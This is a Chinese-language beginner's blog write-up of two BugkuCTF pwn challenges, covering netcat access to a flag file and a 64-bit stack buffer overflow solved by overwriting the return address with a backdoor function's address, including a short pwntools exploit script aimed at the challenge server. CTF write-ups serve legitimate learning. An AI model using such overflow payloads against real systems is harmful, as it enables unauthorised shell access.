天天看點

BugkuCTF pwn題第一彈PWN1PWN2總結:

PWN1

BugkuCTF pwn題第一彈PWN1PWN2總結:

這題沒什麼好說的,直接nc連接配接,然後ls擷取檔案目錄,然後貓flag就可以得到flag了。

需要注意的是因為這題是新手入坑題,是以直接把flag放在flag檔案下,一般情況下不排除其他檔案有flag。

槽一句,雖然這題簡單到不行,但是我也是看了别人的部落格之後才發現自己有多無知,這麼基礎的東西都不會。

BugkuCTF pwn題第一彈PWN1PWN2總結:

PWN2

BugkuCTF pwn題第一彈PWN1PWN2總結:

這道題是有給檔案的,那麼我們先把檔案下載下傳下來分别儲存到Ubuntu和主機。

首先我們嘗試一下故技重施,nc一下看看會怎麼樣。

BugkuCTF pwn題第一彈PWN1PWN2總結:

發現被這個程式嘲諷了,顯然這題不是那麼簡單可以做的。這個時候我們就要用上我們下載下傳好的工具了。

首先在Linux終端上checksec一下這個程式。

BugkuCTF pwn題第一彈PWN1PWN2總結:

發現這個程式是64位的,那麼我們将它拖入對應的ida中,然後找到main函數按下F5打開新世界。

BugkuCTF pwn題第一彈PWN1PWN2總結:

通過觀察這個程式的邏輯我們發現s這個變量申請了0x30個位元組,但是下面read函數讀取了s這個變量0x100個位元組,是以這玩意是妥妥的棧溢出。

BugkuCTF pwn題第一彈PWN1PWN2總結:

然後很巧的我們又發現了就在main函數下面有一個get_shell_函數,那我們肯定控制不住自己的手輕按兩下下去發現這個函數的位址是0x400751,先把這個位址記下來。

BugkuCTF pwn題第一彈PWN1PWN2總結:

下面就是在gdb中打開pwn2,然後建立随機字元,并運作。

BugkuCTF pwn題第一彈PWN1PWN2總結:

發現RBP段的字元被填充為bAA1AAGA,再利用這個字元計算出偏移量。

BugkuCTF pwn題第一彈PWN1PWN2總結:
BugkuCTF pwn題第一彈PWN1PWN2總結:

然後根據偏移量寫出腳本就可以了,下面是我仿照其他大佬寫的腳本。

from pwn import *

sh = remote("114.116.54.89", 10003)

print sh.recv()
payload="A" * 0x38 + p64(0x400751)
sh.sendline(payload)
sh.interactive()
           

總結:

pwn2的思路就是想辦法計算出get_shell_的位址偏移量,算出來之後就直接溢出到後門函數就行了。

對于個人來說,還需要加強對于堆棧的了解,還有編寫腳本的相關知識。目前還是缺少做題經驗,即使是對于這類簡單問題依然沒有思路,就是題目做得少的緣故,總結一下就是我還是萌新。

這是我的第一篇自己真正想寫并寫出來的部落格,之前一直都有想要培養自己寫部落格的習慣,但是都是因為沒有好好學習總結是以一直不知道要寫什麼。那麼就以這篇部落格作為我的秃頭之路的裡程碑吧!

繼續閱讀